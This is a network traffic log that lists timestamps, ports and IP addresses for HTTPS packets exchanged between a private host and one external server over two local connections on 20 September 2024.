Sep 20, 2024 12:14:50.852926970 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.852974892 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.853012085 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.853043079 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.853081942 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.853212118 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.853260040 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.853296995 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.853308916 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.853341103 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.853394985 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.882711887 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.882770061 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.882827044 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.882855892 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.882898092 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.882950068 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.883078098 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.883078098 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.883078098 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.883078098 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.883093119 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.883182049 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.883229017 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.883268118 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.883408070 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.883487940 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.883531094 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.883537054 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.883568048 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.883619070 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.883621931 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.883662939 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.883667946 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.883697987 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.886981964 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.887053967 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.887063026 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.887093067 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.887131929 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.887279034 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.887319088 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.887351036 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.887357950 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.887418032 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.887482882 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.887531042 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.887583017 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.887588978 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.887604952 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.925637960 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.925694942 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.925846100 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.925936937 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.925936937 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.925965071 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.926002979 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.926044941 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.926085949 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.926126003 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.926152945 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.936042070 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.936110020 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.936146975 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.936208010 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.936275005 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.936315060 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.936367035 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.936367035 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.936398983 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.936424017 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.936702967 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.936753035 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.936794996 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.936808109 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.936836004 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.938685894 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.938740969 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.938777924 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.938791037 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.938824892 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.938877106 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.938925028 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.938950062 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.938961029 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.938994884 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.940855980 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.969908953 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.969994068 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.970030069 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.970046043 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.970066071 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.970103025 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.970161915 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.970213890 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.970326900 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.970383883 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.970395088 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.970423937 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.970454931 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.970514059 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.970613003 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.970659971 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.970695019 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.970700979 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.970724106 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.970782995 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.970827103 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.970846891 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.970854044 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.970926046 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.974070072 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.974126101 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.974185944 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.974200010 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.974303007 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.974349976 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.974453926 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.974453926 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.974453926 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.974472046 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.974502087 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.974543095 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.974543095 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.974581003 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.974597931 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.974637032 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.974714994 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.987839937 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.012634039 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.012690067 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.012867928 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.012868881 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.012876987 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.012934923 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.012980938 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.012991905 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.013001919 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.013022900 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.013066053 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.013091087 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.013139009 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.013190031 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.013226986 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.013273001 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.013287067 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.013339996 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.023183107 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.023247957 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.023332119 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.023430109 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.023494005 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.023494959 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.023519993 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.023535013 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.023565054 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.023581028 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.023611069 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.023622036 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.023649931 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.023689032 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.023690939 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.023720980 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.023758888 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.023765087 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.023813009 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.023823023 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.023855925 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.023894072 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.025824070 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.025892973 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.025932074 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.025943995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.025988102 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.026009083 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.026041985 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.026087999 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.026123047 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.026134014 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.026165009 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.026185989 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.057100058 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.057167053 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.057415009 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.057488918 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.057490110 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.057527065 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.057596922 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.057651043 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.057785034 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.057785034 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.057801962 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.057832003 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.057837963 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.057837963 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.057883978 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.057987928 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.058022022 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.058022022 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.058022022 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.058043003 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.058059931 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.058105946 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.060990095 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.061023951 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.061110973 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.061148882 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.061165094 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.061289072 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.061289072 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.061289072 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.061461926 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.061485052 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.061563969 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.061563969 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.061575890 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.061619043 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.099716902 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.099782944 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.099831104 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.099864960 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.099888086 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.099914074 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.099936008 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.099986076 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.100013971 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.100020885 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.100065947 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.100083113 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.100087881 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.100117922 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.100167990 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.100173950 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.100214958 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.100220919 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.100255966 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.100296021 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.110294104 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.110351086 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.110521078 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.110673904 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.110727072 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.110728025 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.110760927 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.110831976 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.110869884 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.110994101 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.110994101 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.110994101 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.111032963 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.112427950 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.112492085 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.112706900 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.112715960 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.112732887 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.112772942 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.112798929 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.112807035 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.112859011 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.144149065 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.144222021 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.144355059 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.144373894 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.144393921 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.144433975 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.144500017 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.144510031 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.144525051 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.144551992 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.144560099 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.144572020 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.144608021 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.144644976 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.144784927 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.144810915 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.144862890 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.144870043 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.144889116 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.144916058 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.145205021 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.145230055 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.145291090 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.145299911 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.145349979 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.147865057 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.147890091 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.147948027 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.147954941 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.148000956 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.148319960 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.148344994 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.148401022 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.148408890 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.148468971 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.148772955 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.148799896 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.148844957 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.148853064 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.148885012 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.148911953 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.186408997 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.186517954 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.186764002 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.186870098 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.186949015 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.186997890 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.187060118 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.187356949 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.197807074 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.197922945 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.198117971 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.198157072 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.198220015 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.198283911 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.198318958 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.198367119 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.198632956 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.198632956 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.198704958 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.198750973 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.198796034 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.199800014 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.199856043 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.199922085 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.199938059 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.199985981 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.199990988 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.200006008 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.200026035 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.200076103 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.200103998 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.200170040 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.200181961 CEST	443	58640	185.199.108.133	192.168.2.4
